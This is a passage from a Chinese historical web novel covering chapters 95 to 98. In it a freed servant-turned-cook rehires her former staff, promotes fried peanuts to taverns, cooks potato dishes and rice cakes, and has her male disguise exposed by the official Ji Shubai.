“你再看春云,这么点子大,能吃能长,活又干不了多少,你这是帮人家白养女儿。等她长大了,能嫁人了,人家爹娘收了聘资,照样给你带走嫁人。你又没文书,还能拦着不成?养的越久亏的越大,还不如现在就还回去。”
......
“爹,”宋瑾出言打断老陆的抱怨:“我忙了一天,累了,今儿先睡,明日再说。”
宋瑾不想跟老陆说太多,老顽固说不通,她直接行动不就完了,劝什么劝?
于是她拉着此刻有些惶恐不安的春云一道洗漱后,回屋睡大觉。
她累了,先睡饱再说。
倒是春云,黑夜之中两眼睁得老大,一会儿看着床顶,一会儿看着宋瑾,不确定自己明天的命运是怎样的。
倒是宋瑾胸有成竹,第二天一早起来什么也不干,洗漱后拉着春云,带着铜板就往市集里头去了。
“咱们去干嘛?”
“买鸡。”
“买鸡?”
宋瑾回头笑着对春云道:“我煮鸡给你吃好不好?”
春云有些笑不出来:“为什么呀?有什么高兴的事情么?为什么好端端的要吃鸡?”
人苦久了之后,对凭空砸来的好意总是充满警惕,若是换做去年在食鼎楼,她断然不会这么问的。
宋瑾心中泛起一阵苦涩,拉紧了春云的手:“有好事情,当然要做好吃的。你知道阿荣他们在哪里么?我们去把他们找回来。”
“我知道。”得知宋瑾不是要赶走她,而是要把人找回来,春云欢呼雀跃起来:“他们走的时候同我说了,陆伯伯嫌他们,赶他们走了,不过走之前跟我说,若是你回来了,可以去找他们。”
宋瑾莞尔一笑,她就知道,这大明的工作可不是那么好找的,何况是她这么慷慨的老板。
这一天,宋瑾重操旧业,集市买了鸡,药店买了栀子,回了家就开始准备做白切鸡。
老陆坐在小厅里发着愁,没有土,没有盆,没有花,他就什么都不会干了。
陈婆子则跟在宋瑾后头,带着些拘谨地给她帮忙。
宋瑾对陈婆子也有些拘谨,不知道该怎么面对她,明明知道对方不是自己的母亲女儿,却还心照不宣地
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做着并不熟悉的母女。
她不想这样一直拘谨下去,所以就主动了起来。
“娘,等下鸡入了锅,您帮我看着,我出门去办个事。”
陈婆子见她跟自己讲话,这才开口:“好啊,你可认得路?”
她的蔓草就没怎么出过门,要是去哪里,必要打听着才能走的到。
“我带春云一道去,边问边走。鸡入了锅,两盏茶后才能捞出来,一半鸡汤一半井水浸了才好。”
“唉唉,知道了,你去吧。”
宋瑾带着春云出了门,径直去找阿荣。
她仔细思量过了,阿荣是顶重要的人物。
首先他识字,会用算盘能记账,这一点就强过许多人,甚至强过宋瑾。
她不会算盘,就算会算账,在这没有计算器的大明,她也算不过有算盘的阿荣,何况她还要负责后厨,两手抓岂不是要累死?
她看过阿荣记账,进进出出清晰到每一个铜板,每每打烊后他都会坐在柜台里,将白日里记的草书一般的账目一一誊抄,字迹娟秀,账目清晰,她需要这个帮手。
就算眼下不需要,将来她也会需要的,现在存着总比将来去现找要好,所以她第一个要挽回的就是阿荣。
阿荣全名叫陈家荣,住在离古槐街有些距离的玉带巷。在进柏家为奴之前曾读过书,只是未得功名。后来因为家道中落,别说读书了,就连吃饭都成了问题,这才进了柏家为奴。
因为识字,长得也清秀,过了两年便被文雅选中去账房做学徒,倒学了不少本事。本来是要好好培养的,没想到半途被宋瑾一个良籍给拐跑了,顺路还拐跑了她的贴身丫鬟杜鹃。
她想,这样一以来,两人也算有情人终成眷属了,好事一桩啊,她高低也算月老了,阿荣总该记她这个人情吧。
宋瑾边走边想,内心把握十足,因此脚下也轻快,两人在晌午之前便到了阿荣家。
她敲了门,是阿荣亲自来开的,宋瑾有些惊喜。
“阿荣,是我,我回来了。”
实在是太顺利了。
阿荣也挺高兴,皱着的眉头顿时舒展开:“蔓草?你回来了?来,快,快进来。”
阿荣领着宋瑾和春云进了门,宋瑾两眼一扫,一方小院,能看的出来曾经家境尚可,如今有些萧条,但起码是个四方小院。
几人在厅中坐了,阿荣一边沏茶,一边说道:“你几时回来的?此去可顺利?季大人没为难你吧?”
“怎么会,季大人对我可好了。”宋瑾看似无心地表露她跟季舒白极为亲近的关系,人有靠山好办事,哪怕这个靠山是别人以为的靠山。
阿荣听见宋瑾说跟季大人关系好,果然很高兴,换成是谁,跟府衙同知搭上了关系,那都是值得炫耀的。
“那咱们还做生意么?”
他试探着问,宋瑾肯定道:“当然做,我这不是来找你了么,我做生意可离不了你。”
阿荣嘴角勾了勾,像是有些高兴,可很快这点子高兴又没有了。
“怎么了?你不肯来?”
“不是,”阿荣声音轻轻的,像是有什么为难之处:“我......我是很想跟你做生意的......”
宋瑾一听他这吞吞吐吐的架势,突然就有些恼火。
怎么全世界都要玩她?没完没了了是吧。
“到底怎么回事?”
95. 寻人
面对宋瑾的质问,阿荣摩挲着手中的杯子,有些难为情起来。
“有话你就直说啊。”宋瑾最烦人家磨磨唧唧的。
“我......杜鹃,我不是要娶杜鹃嘛,可是眼下不大行。”
“怎么不行了?她不乐意了?”
宋瑾想,阿荣好歹读过书,将来到了自己铺子里,不说赚大钱,养家应该是没问题的,跟杜鹃又是情投意合,怎么还不行了?
“是她爹,她爹要聘资。”
“他要多少?”
“三十两。”
宋瑾紧抿双唇,怒火自眼中溢出,心中暗骂:死老头子,这个价格都够买你两个女儿了,倒是挺能要价啊。
她在前头费劲巴拉地把人弄出来,他可好,在后头接个现成的,把女儿翻个价,卖给阿荣。
宋瑾火死了。
“你就愁这个?”
阿荣垂头搭脑地:“可不是么,我回回去,回回见不着杜鹃。她爹说了,杜鹃年纪也到了,若是我年底还凑不出银子来,他便要另说人家。”
宋瑾撇撇嘴,合着她惦记着人家年岁合适能干活,人家家里惦记着年岁合适能嫁人收聘资,他们还真是一丘之貉,没一个心思单纯的。
沉默半晌,宋瑾道:“是不是只要有三十两银子,你就能把杜鹃娶回来?”
“听杜鹃她爹的意思是这样的。”
“那若是我借你三十两呢?”
宋瑾忽然发问,问的阿荣又喜又惊。
喜的是可以娶到杜鹃,惊的是三十两的价格不低,以他目前的情形,加上利钱,要还起来实在不敢想有多困难。
“这个......我,我一时怕是还不上。”
“没关系。”宋瑾要的就是还不上,还上了她还怎么牵制人家呢。
“银子由我借你,你来我铺子里做事,银钱就从月钱里面扣,我就不跟你签什么卖身契,咱们就签一个借契,如何?”
“那谁来做保呢?”
宋瑾想了想道:“让杜鹃来吧。”
她一时也找不到别人来做保,反正她的目的是他们夫妻,那就让夫妻一起都欠了她的债,不是挺好的嘛。
阿荣这才真正欢喜起来,连声应下,当即就要去找媒人说亲,宋瑾却说不急,还有两个伙计和两个丫头没来呢,今日先跟她回去吃顿饭,大家合计合计后面的事情,反正娶亲又不在今日。
阿荣二话不说地跟着宋瑾走了。
等回了家,宋瑾在饭桌上将此事一说,老陆第一个跳出来反对。
“咱们才多少银子?租这么大个院子,日常开销少不了,生意还没做起来,先要这么多帮手作甚?”
“他娶亲归他娶亲,要那么些银子你娶不起便不要娶,换一个还不是一样的娶。谁家女儿三十两聘资,还真当自己是千金大小姐呢。”
宋瑾夹了一块鸡肉在嘴里啃,抬眼去看阿荣的时候,就见他低着个头,双手也缩在桌子下头,一口饭菜也没吃,尽听着老陆骂人。
“爹,这是我的主意,三十两银子又不是挣不来。”
“我知道你能挣,可又不是日日都能挣。咱们现在是光出不进,再这么下去,咱们的日子怎么过呀?”
“我已经跟季大人说好了,他会帮我举荐的,没准儿过些日子我又能去柴家做菜了,一年去几趟,光赏银也够咱们过一年的了。”
正所谓有钱人牙齿缝里漏出来的一点,都够穷人家过一阵了。
老陆听了这个话面色终于缓和些:“那季大人是不是同你......”
“爹,别想了。”宋瑾知道他在想什么,但她自己没往那处想,阶级这个东西盖在宋瑾头上,她一个人想是没有用的。
至于季舒白,裴姑娘他都没看上,还能指望他看上自己么?
“其实,若是能做个妾也挺好的。”
宋瑾差点儿被一块鸡肉呛着,连咳了几声后瞪着老陆。
人是真好,让她去做妾。
宋瑾气道:“人家正儿八经的清官,好端端的纳什么妾?”
“那又怎么了,多的是人家纳妾的,再不然还有外室,况且那可是个五品的官儿,你若嫁过去了,便是一生无忧了,我们也能跟着沾光不是。”
宋瑾气得无话可说,夹起一大块肉放进阿荣的碗里:“阿荣,吃,吃完我们去找另外几个。”
“还找呢?”老陆眼睛盯着那块肉,口中不停抱怨。
宋瑾不理老陆的抱怨,一边示意阿荣快吃,一边又给春云夹了一筷子。
肉刚进春云的碗里,她就听见老陆叹息一声。
“都是白养的。”
宋瑾不理。
吃罢午饭,宋瑾一刻不停,拉着阿荣就去找另几个人,出门前春云揪着她的衣服,说是也要去。
宋瑾猜是不乐意跟老陆在一块儿待着,于是答应了,三个人一道出了门。
此行既顺利也不顺利,顺利的是两个伙计,孟齐和张鸿安很快找到,并利落答应只要宋瑾这边开始要用人,他们立刻就能来。
倒不是什么忠心,就是宋瑾当初做掌柜时,酒肉给的慷慨了些,只要得赏,必定请客。当时是为了封口,没想到如今竟笼络住了这几个人。
两个女子那里便没得什么巧。
宋瑾先到的红杏家,没见着人,坐在小堂屋里听红杏她娘说话。
“我家红杏年岁不小了,也算个正经姑娘,跟你做厨子那也不叫事呀。”
宋瑾心中白眼直翻,当初卖女儿为奴的时候,心里也想着这是正经的出路么?如今她帮着脱籍了,各个都正经起来了,她做着生意反而不正经了?
“我家姑娘长的好,已经说下亲事了,婚书都递了,给你做厨子不是耽误我家姑娘么?哪个正经姑娘窝在饭店后厨里?你不是害我家姑娘嘛。”
宋瑾抿抿唇,没言声。
“是,我家姑娘能出来,得谢谢你,可咱们也没求着你不是。您自己个要当大善人,可不能做了善事就强行要我报答您吧?菩萨也不是这么当的呀。”
“是,”宋瑾扯出笑脸来:“我今日来,也就是来跟红杏叙叙旧。既然已经定下亲事,那我自然也不好再来打扰的。”
宋瑾皮笑肉不笑地应付完出门,出门便挂脸,一路骂了开来。
“什么正经,什么不正经?当初卖给人家做使唤奴婢的时候,是有多正经?如今倒说起厨子不正经来了,我怎么不正经了?”
“我
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就过来问问,还没说什么呢,倒先编排起我来了。你没求我,是我多事,我闲的慌,我非得让你女儿脱籍,我非要你报答我,我非得做那活菩萨,我简直作孽。”
宋瑾越骂越气,直到春云扯了扯她的衣摆:“蔓草,你别气了,小心气坏了身子。”
“是啊,为了一个红杏犯不着,况且咱们也没做起来,等做起来了,要用人的时候再找也来得及。”
“就是,厨房里头我能帮你,我可会烧火了,到时候我搬个凳子,能够着案板,就能帮你切菜了。”
两人一起劝着宋瑾,好说歹说,总算把她那股子脾气安抚下去了。
可紧接着,三人便又在采薇家里吃了瘪。
“我家姑娘要嫁人了。”
一个调调,宋瑾想着。
“是个大户人家,人很慷慨,说起这事儿还得谢谢你呢,要不是你,我家女儿哪里能赶上这样好的事。”
宋瑾想,好歹这回说话好听些了。
“采薇嫁去哪里呀?”
“就在咱们县里,离的不远,如今这礼都过了,就等着裁衣裳过门了。”
采薇她爹说起话来,面上冒着红光,宋瑾想,估摸着真是一门好亲事。
在大明,什么样的亲事才算好亲事?宋瑾不大清楚,却很想见见。
“采薇她爹,等采薇出嫁那日,我也来观礼可好?”
“好啊好啊,说起来你也是恩人,我定给你留个位置。”
“那我今日能见见采薇么?”
“还是罢了吧,女儿家定了亲,还是不要见外客的好。”
宋瑾也不多言,毕竟她今日一身男装,她是无所谓,可不代表人家也无所谓,因此只好作罢,遂起身行礼出了门去。
回来的路上,宋瑾怏怏的,没什么精神。
说起来红杏采薇与她年纪差不多大,却在她离开的一个多月里迅速定亲,马上就要成家了,这让她有种兔死狐悲之感。
她们都出嫁了,那她呢?
倒不是恨嫁,而是想到今日老陆那给季舒白做妾的言论,搞不好她这个爹,已经在筹谋着给她找人家了。
事情要是发展到了那一步,可就不好办了。
宋瑾想,她得先发制人。
至于招数,她早就想好了。
她如今能挣钱,打着孝顺的名号给她爹赚钱养老,等赚够了,就给自己招个帅气的赘婿,一起孝顺她爹。
在县衙里,她见过太多这类文书,过继的儿子,入赘的女婿,那花样多的很,她有样学样,能堵上老陆的嘴,让自己过上轻松日子才是最重要的。
至于其他,全都靠边。
宋瑾的想法活的很,二十一世纪的思想也好,十六世纪的规矩也好,哪个能方便自己,痛快自己,她就选哪个。
不先进,不腐朽,活学活用。
及至傍晚,宋瑾领着春云,跟阿荣告别回家时,老陆已经在厅中等候,看见人进来便问:
“那几个娃娃还来嘛?”
宋瑾老实道:“男娃娃来,女娃娃不来。”
“我就知道,丧良心的,往后咱们不做那给人做嫁衣的事情。”
宋瑾没理,领着春云去厨房里找吃的。
96. 推销
接下来的日子大家都没有闲着。
阿荣借到了银子,找了媒人开始说亲。
至于做保的花押,宋瑾同意等杜鹃嫁过来再盖,反正阿荣欠也是杜鹃欠,既成夫妻,便是一块儿欠,她不怕的。
接着她把另外两个伙计叫了回来,宋瑾要做的第一件事便是找回老顾客。
当初在食鼎楼时,她便留了一手,如何做白切鸡这件事,她没有挡着任何人去学,但她坚持每日自己来,加上她惯着大家,因此众人都乐意少干点活,便没想着非得学做那鸡。
白切鸡的秘方除了鸡的大小合适之外,还有盐水比例,就算是一样的煮出来,比例不同味道也不会有些微的差别。
她不求多,就求那一点,柴恒这个吃货会在意这一点的。
除了鸡,她又买了些干花生,回来炸了一道油炸花生米。
那油入锅的时候,老陆口中直哎哟。
“咱们不比柏家,这油多废银子,这能挣的回来么?”
“要是挣不回来,我这店怎么开的起来的?”
宋瑾没好气,身边两个伙计也帮腔。
“掌柜她爹,您怕什么,这道菜咱们当初都吃过的,衙门里的官还说好呢。”
“就是,你听掌柜的,错不了。”
不知是不是因为老陆曾经赶走两个伙计,此次二人回来,照旧认了宋瑾当掌柜,对着老陆反倒没那么客气。
宋瑾听的出来,却不叫改正,她巴不得二人只认她呢。
等炸好了花生米,撒了碾过的细盐,放凉放酥脆了才叫老陆尝尝,果然说好吃,下酒更是极品。
宋瑾听他提到酒,心中一动,进屋换了季舒白当初给她裁了的那身远山紫的直身衣出来,腰上还别了那把从他手里要来的折扇。
撇去身高,这一身可算极为潇洒,老陆见了极为惊讶。
“你哪里来的这身衣裳?”
这可不是自家买得起的料子。
“季大人送的。”
“季大人怎的对你这般好?”
老陆不死心,依然心心念念女儿能嫁给他,他好做五品大员的老丈人。
宋瑾也转换了念头,一同出来的五个姑娘里除了春云年幼,另外三个年纪相仿的全都要出嫁了,她挺担心她这个爹急着给她说亲事。
毕竟这个年代是父母之命,媒妁之言,闹到官府她也占不到便宜。
她得拉进自己跟季舒白的关系,最好让老陆以为季舒白对自己爱的要生要死要上吊。
“是呀,季大人对我特别好。”
话扔出去,爱怎么想就不关她的事了。
“那你们之间......你们一道出去这么久了,就没点什么事么?”
老陆巴不得二人之间有点子什么事。
宋瑾转了一圈眼珠子,道:“季大人也没说什么,只是讲往后我可以随时去他家老宅找他,下人都不会拦我的。”
千真万确大实话,老陆听了直拍手叫好。
“好,好,好啊,你这下跟季大人关系亲近了,将来有的是机会。”
宋瑾点头,可不是嘛,她爹觉得女儿有机会嫁他,她觉得有机会挣钱,全都是机会。
出门前宋瑾叫上了孟齐和张鸿安:“孟齐,鸿安,把两只鸡拿上,还有油炸花生米一起带着。”路上宋瑾又买了两坛子酒,三人一道去了柴家。
宋瑾想的清楚,不能等着季舒白喂饭吃,她得主动去找食。
然而事不凑巧,宋管事说柴恒带着夫人和两个孩子游湖去了,约莫还要过两日才能回来。
宋瑾顺势改了口:“无妨,谁不知道见宋管事与见柴大官人是一样的,本来这些也是要送给您的,这下正好了。”
她与宋管事已经很熟悉了,两人在茶厅里说着话,宋瑾一边让人递上了带来的酒菜,一边抬举着宋管事。
宋管事听了果然很高兴,忍不住眼神上下扫了一把。
人不一样了,穿着打扮气度都不一样了。
宋瑾逮住时机,只听啪的一声响,她将手中那把折扇打开了,立时吸引了宋管事的注意。
“咦,这扇子,似乎在哪里见过。”
“是么?”宋瑾将扇面往前凑了凑,就差把季舒白的印章凑到宋管事的脸上:“季大人路上赠的,说是给我摇凉用。”
“是么?”宋管事的脸上瞬间堆上灿烂的笑容。
这可是私物,怎么就到了宋瑾手里头。
但是这不重要,他请宋瑾坐了,又命人上了茶,问过宋瑾此行如何。
宋瑾如同对付老陆那般,不动声色地拉进跟季舒白的关系,又不讲明,引起无限遐想,又捉不住实在。
言至最后,宋管事道:“你走的这些日子,我家小主人甚是想念,说还是你做的点心最好吃。过两日人便回来了,到时候还要麻烦陆掌柜了。”
这话说的过分客气,可宋瑾明白,这客气不是给她的,是给季舒白的,那又有什么关系,她有钱赚便好。
“宋掌柜,您这话说的,往后小店还要靠您照应呢。”
“哪里哪里......”
两人一番客套,总算把生意定下来。
宋管事会跟柴恒提及宋瑾回来一事,往后若要请厨役,会帮着举荐。另外两日后请宋瑾做些适合孩子的点心过来,宋瑾一一应了,这才带着两个伙计离开。
待出了门,宋瑾啧了一声,怎么脱了籍,她还是一副谄媚样子,什么时候她才能嚣张跋扈一回?
然而身边两个跟着的人却有别的想法。
“掌柜的,咱们两只鸡就这么送出去了么?”张鸿安问道。
“那不然呢?提进门的东西哪有原样提出来的道理,舍不得孩子套不着狼,先喂饱小鬼,才有机会去抓大鬼。”
“就是,咱们先喂饱那管事,这往后要买些小点心,那还不是人家一句话的事嘛。”
孟齐在一边附和,宋瑾听了笑笑,将手中扇子一撒,放在头顶遮阳。
季舒白真是好用啊,这大腿她抱定了。
谁知还未等到柴恒回来,宋管事便已派人过来,要的不是旁的,而是油炸花生米。
在大明,花生米并不算特别稀奇,只是吃法尚未研究开,加上油炸的制法,多数家庭是不会考虑的,偏偏它下酒极好。
这道菜在宴席上未必能有出头的机会,但是男人饮酒便极为合适。所以宋瑾那日备了花生米,又带了酒一道送去
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,本就是给宋管事的,只是没想到柴恒不在,于是连着鸡也一道归了他。
宋管事吃过不少鸡,却没吃过油炸花生米,于是趁着柴恒不在家,他夜里便就着酒开始享用起来了,吃完觉得不过瘾,第二日又派人来买花生米。
宋瑾当然是喜闻乐见,当场炸好了,叫放凉了再吃。
花生米受人欢迎,这是好事,宋瑾除了叫两个伙计去前顾客那里宣扬白切鸡重新开卖之外,自己便在寻思如何把花生米发扬光大。
B2C太不稳定,她招牌还没打开呢,于是她想到了B2B。
她要向其他的酒店推销自己的油炸花生米。
除了花生米,宋瑾还备了其他几样,五香蚕豆和油炸黄豆,都是下酒的好菜,等7月份她还可以加上盐水毛豆。
品类选好,接下来就是推荐了。
宋瑾没急着端着菜往别人面前杵,而是先装扮了一下自己。
一根挑杆,一面招旗,上书“陆家食铺”四个大字,就此开张营业。
宋瑾先取出铜钱,叫老陆和两个伙计去城里旺铺酒楼里喝酒,要的菜色不必多,但必点一样,那就是陆家食铺里的油炸花生米。
她认真观察过,这酒楼里卖酒,未必样样周全,所以客人要些别的什么菜色,只要能买来,店中小二自会帮着跑腿,大不了给个铜板。
宋瑾自己新店开业,要做来卖,未必能卖多少,但若是长洲县的酒楼都卖她的花生米呢?这东西耐放啊,而且比起肉类,也不算贵,搭配着卖,销路肯定更广。
况且她又不止这一个菜。
三个男人得了令,日日跑在外头,各家酒楼里慢慢饮酒,偶尔遇着聊的来的,一个桌上坐了,将装花生米的碟子往前一推,边聊边说,陆家食铺的名声就这么慢慢传出去了。
下酒菜做的极好。
这下老陆再也不嫌弃她油放的多了。
宋瑾把油炸花生米推销了出去,这门技术也就交给了陈婆子,她专心去弄些别的。
比如季舒白和保保爱吃的点心。
她想做黎朦糕,可惜眼下黎朦子还不是时候,想做山药泥,山药也未到时节。
宋瑾在菜市里犯愁,做点什么好呢?直到一个土土的圆疙瘩入了她的眼。
大明,已经是有土豆的朝代了。
宋瑾掂量着那小土豆,个头不大,她领着春云慢慢挑选着,心中估摸着,这个东西做薯条怕是有点难度,毕竟她一时弄不来番茄酱。
番茄,大明的盆景,拿来当菜得多贵呀,根本做不起量。
宋瑾放弃了薯条,却惦记起了另一件事,若是有地就好了。
种花生,种土豆,种番茄,全是经济作物,配合上她的小食铺,简直不要太好。
可惜,她银子不够,买了地种了庄稼,只怕还没长出来呢,他们这帮人就得饿死。
“唉......”
宋瑾轻声叹息,一旁的春云听了不禁问:“怎么了?这洋山芋不好么?”
这话一出,宋瑾还没吭声,那卖土豆的便道:“怎么会不好,早上现挖的,顶新鲜。”
宋瑾笑笑:“是,特别新鲜,我多要些。”
反正耐存。
97. 坦诚
关于这些土豆要怎么做,宋瑾心中早已有了想法。
她要做土豆泥,麦当劳的那种。
要在十六世纪的大明王朝做麦当劳的菜,宋瑾有些想笑,要不是牛肉不好,她高低要把肯德基的嫩牛五方给整出来。
她一边清洗着土豆上的泥土,一边想着肯德基麦当劳发笑,小跟班春云见了,歪着头看她:“蔓草姐姐,你在笑什么?”
“笑一会儿有土豆泥吃了。”
“土豆泥?”春云惊讶地看着手上的洋山芋......和泥。
土豆泥的做法很简单,削了皮,切小块,隔水蒸熟了。
盐还是让春云碾的细细的,趁着温度还热,用勺子碾土豆的时候立时融化在里头,便当调味了。
外头买的新鲜的牛□□,慢慢的一点一点地加进去,加到能定型不流淌便算够了。
再取一个小锅,加一小勺团粉,没有耗油,宋瑾便用虾油来替,一点点盐,和一点点胡椒末,添一点水烧热,搅拌到粘稠状,这调味的酱汁便算完成了。
做到这里的时候,宋瑾有些犹豫,毕竟季舒白爱吃甜的,这个酱汁又不甜,这可怎么办?
“春云,”宋瑾叫住身边正在用手指刮勺子上土豆泥吃的春云:“去街上买些蜂蜜回来。”
春云得令去了,两个伙计也没闲着,因为宋瑾要做糯米糍。
现成的糯米粉添了凉水,和成略干的面团,捏成一个个饼子放进开水锅里煮了,等漂起来便是熟了。
用笊篱捞出控水,放进空锅里,没有玉米油,宋瑾便用了猪油,反正天热,并不会凝固,而且香气浓郁。再添些白糖,捣至稀烂,揪成一个个小剂子,这糯米糍的饼皮也就做好了。
至于里面的馅儿,若是用芒果便比较还原,然而宋瑾没有,只能拿正当季的桃子来替。
选了熟透的鲜桃,去了皮,切成小块,包进小团子里,剩下的问题便是这皮怎么变得不粘手。
她找不到椰蓉,起先想用驴打滚里会用的黄豆粉,可一想到这一个个好看的白团子要变得黄不拉几了,宋瑾就有些心疼起来,于是选用了炒熟的白芝麻。
宋瑾看着裹满白芝麻后不再粘手的糯米团子,觉得尚能将就。
两种点心分了两份,一份送去柴家,一份送去给季舒白。
春云是跑惯了柴家的,因此那份便由她去送了,自己则提着另一份去了季家老宅。
临出门前,她还换了身漂亮衣裳。
宋瑾总觉得站在季舒白面前,她没有必要非得像个大明的厨子,那身缎子直身衣就很好。
像朋友叙旧,不像厨子行贿。
每逢五日,季舒白总是会回到老宅住着,宋瑾时常觉得他一个年轻人活的跟着老人家似的,死气沉沉的。
尤其是她自己脱了籍之后,整个人都鲜活了过来,根本看不下去他这样,于是瞅准了日子过来找他,或者说骚扰他,美其名曰给他添些人气。
然而没想到的是,季家老宅此刻已经有另一个人过来添人气了。
因为季舒白之前嘱咐过,任何时候都不必拦着宋瑾,因此陈妈妈见人来了,只说人在后院书房里。
宋瑾跑熟了,也无需人带,自己就往里头去了。
结果一进门就看见季舒白坐在书案后头,手中拿着一支笔,也不知道在写些什么,下首的玫瑰椅上坐了一个捧书的美貌女子。
裴姑娘今日也在。
那裴姑娘听见脚步声,视线从书上抬起,在看见宋瑾的一刹那,面上闪出一丝惊喜来。
“宋公子?”
宋瑾没有料到裴姑娘也在,第一反应竟是低头看自己。
还好出门时换了衣裳,如今看来十分体面。
“裴姑娘。”
宋瑾放下食盒,上前圈手作揖,又对着季舒白作了个揖,道:“季大人,今日小店做了新的点心,特意拿来给季大人尝尝。”
有裴姑娘在,宋瑾收敛了许多,并不逾矩。
季舒白在听见裴丹阳叫了声宋公子后,便知道是谁来了,此刻见她送来点心,便道:“正好,裴姑娘也在,开了食盒,一道试试吧。”
说完看向裴丹阳:“她挺会做吃食,你也尝尝吧。”
裴丹阳听了浅笑一声,道了声好。
宋瑾开了食盒,将两种点心分别放在二人面前。
宋瑾细心,给裴丹阳的是一小碗土豆泥和两碟子调味。
她怕裴姑娘吃糯米糍,吃的不雅,土豆泥她是摆了勺子的,会方便许多。
季舒白便得了那碟子糯米糍。
不知怎么的,宋瑾总觉得自己递过去的时候,季舒白看自己的眼神有些奇怪,可又说不上哪里奇怪,因此只退下默默看着。
季舒白看了眼沾满白芝麻的糯米糍,又看了眼宋瑾,嘴角含笑,本欲说话,就听见裴姑娘惊喜的声音。
“这是什么?以前竟然从未尝过。”
宋瑾把土豆碾的细腻,又添了牛奶增香,油脂增滑,一勺子入口,带着奶香的土豆瞬间化开,确实是没吃过的新鲜东西。
“这个是洋山芋,不过我换了新的做法,姑娘可喜欢?”
裴丹阳浅浅一笑:“喜欢。”
说罢起身端着那碗土豆泥往季舒白面前一放:“季哥哥也尝尝吧。”
她将没有动过的那侧转向季舒白,然而季舒白只是一笑:“我待会儿再吃。”
接着又看向宋瑾,眼神莫测。
宋瑾一颗脑子就跟着季舒白的眼神跑了,也不知道他到底什么意思,就像一把刀悬在脖子上似的,叫她好不自在。
“宋公子?”季舒白笑的意味深长:“我竟今日才知道,你原来姓宋。”
完了。
宋瑾一下睁大了眼睛,这教务主任又来扒皮了。
“嘿嘿,”宋瑾笑的毫无底气:“这个......误会。”
“误会?”季舒白站起身来,并不打算放过她:“什么误会?哪里有误会?你不是姓陆么?”
宋瑾只觉得脸上火辣辣的烫,尤其是裴姑娘狐疑的眼神投过来时,脸上越发滚烫起来。
莫名的委屈。
她不明白,为什么非要拆穿自己呢?她又不会跟裴姑娘怎么样。
“在下是姓陆。”逃不过便认了吧,只是语气里充满委屈。
书房里一片安静,过了会子才听裴姑娘道:“是姓陆还是姓宋,本也不碍事,我只是觉得宋......陆公子的故事说的精彩。”
季舒白的手指点扣着桌面,发出哒哒哒的响,响的宋瑾心头直跳。
“其实......奴家是女子啦。”季舒白逼着她坦白。
“女子?”
裴丹阳的表情用花容失色来形容应该不为过。
她本以为自己在季家后院聊了半晌的人是个见多识广的公子,还请季舒白不要对外人说起,结果今日却说自己是个女子。
她后退半步,上下打量着宋瑾,看见她直身衣下的一双大脚,越发纳闷起来。
“你是......”
“
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其实我就是古槐街陆家食铺里的厨子,从前是个小家奴。”
“厨子?家奴?”
裴丹阳一脸的不可置信,看看宋瑾,又转头看看季舒白。
宋瑾窘迫至极,季舒白就那么看着,并不言声。
裴丹阳识趣,放下手中勺子,浅浅一笑道:“既然来了后院,想必与季哥哥是相熟的,我便不打扰了。”
说罢朝二人行礼告辞,季舒白也不留她,倒是宋瑾低着头,撇着嘴,心里头把季舒白翻来覆去的骂。
她又不会日日见人家,何必要揭开,在裴姑娘心中留下一个见多识广会说故事的宋公子形象不好么?非要扒她的皮。
裴丹阳出去了,季舒白紧跟着从书案后头走出来,宋瑾依旧低头不言,跟犯了错的犟种一样,嘴上认了,心里根本不服。
“你在此地等我。”
季舒白丢下一句话,便随着裴丹阳出去了。
宋瑾站在那里深深地吸了口气,心里头憋闷的慌,眼前也模糊起来。
她就那么静静地站着,约莫站了一盏茶功夫,季舒白又重新进来了。
他人站在宋瑾跟前,默默盯了一会子,却不见宋瑾抬头。
“生气了?”
宋瑾将脑袋撇向一边,吸了吸鼻子。
“你不是答应我,往后要好好做个良人的。”
季舒白改了语气,不似开始的咄咄逼人,温柔了不少。
“我平时又见不着裴姑娘,又不会坏她名声,你干嘛非要戳穿我?”
她听见季舒白轻声的叹息:
“这与见得着见不着没有关系。你既要从良,便不该满口谎言,为何还要认下这宋公子的名号?我见你与她之间也并非是生意往来,既做朋友,岂能满口谎言?这做生意尚要讲究诚信,怎么做起朋友,反而连性别名号都是假的?”
宋瑾依旧委屈,明明宋就是她的姓,她当时脱口而出了而已,并不算撒谎。
何况自己假扮男子也是事出有因。
那日她们在季家后院碰上,她就怀疑这姑娘跟季舒白关系非同一般,不想引起误会才没说的,本来也是一身男装。谁知道季舒白非但不体谅,反而怪罪上了。
“人家曾经也姓过宋嘛。”她没敢反驳季舒白的话,只低声嘀咕了一句。
“什么?”
宋瑾的声音带着呜咽,季舒白没听太清,然而宋瑾又不吱声了。
转念一想,他似乎又明白过来了。
“好了,我本意是不想你再撒更多的谎,与其将来被揭穿,不如今日就说解开来。难不成你要在裴姑娘面前扮一辈子的宋公子。”
“我都未必能见得着她。”
要不是来季家,她大概率这辈子也见不着裴姑娘。
“怎么?还是觉得自己没错么?”
季舒白这个人不好,较真。
“我知道我错了的。”宋瑾服了软。
季舒白有一点好,好哄。
“既然知错,往后便不要随意扯谎。我知道你扮着男装行商是迫不得已,可至少在有些人面前不必带着面具。”
宋瑾手上揪着袖摆,轻轻点了点头,算是同意他的话了。
“好,那此事揭过不提,往后再见到裴姑娘,你便是陆姑娘了。”季舒白的语调变得轻松爽朗起来,不自觉地伸手拍了拍宋瑾的肩头,像对待一个真心改过的小学生。
季舒白从教导主任变成了小学老师,宋瑾吸了吸鼻子,瞬间觉得舒服多了。
原来她也挺好哄的嘛。
98. 约定
季舒白送走了裴丹阳,莫名的,宋瑾觉得他人轻松了不少,连脚步都轻快了起来。
就见他重新坐到书案后头,嘴角含着一丝笑意,将两碟子吃食拉近,一副要敞开来吃的样子。
手抓住糯米糍的一刹那,又好像想起什么来,抬头看见宋瑾还在,手上立刻拘束起来。
“你也过来吃吧。”
他又重新板起了脸,一本正经的样子。
宋瑾没客气,搬过侧面的一把湘妃竹椅就在对面坐了,一边取了一块糯米糍,一边给他讲自己的那点小心思。
“这个叫糯米糍,里头的馅儿是新鲜桃子,我特意挑的水份多的,切的尖尖上软软的那部分。可惜没有芒果,不然味道更好。”
“土豆泥我给你备了两种料,一种是甜口的蜜糖,还有一个咸口的,加了胡椒。你看看喜欢哪个,下回我就帮你做。”
“哎呀,勺子没了,我去给你取。”
宋瑾对季家再熟悉不过,说完话,撇下季舒白独自往厨房方向奔去,重新取了两个勺子过来吃土豆泥。回来的时候,季舒白已经接连吃掉两个糯米糍了。
“大人,味道怎么样?”
宋瑾很欢喜,季舒白笑笑不语。
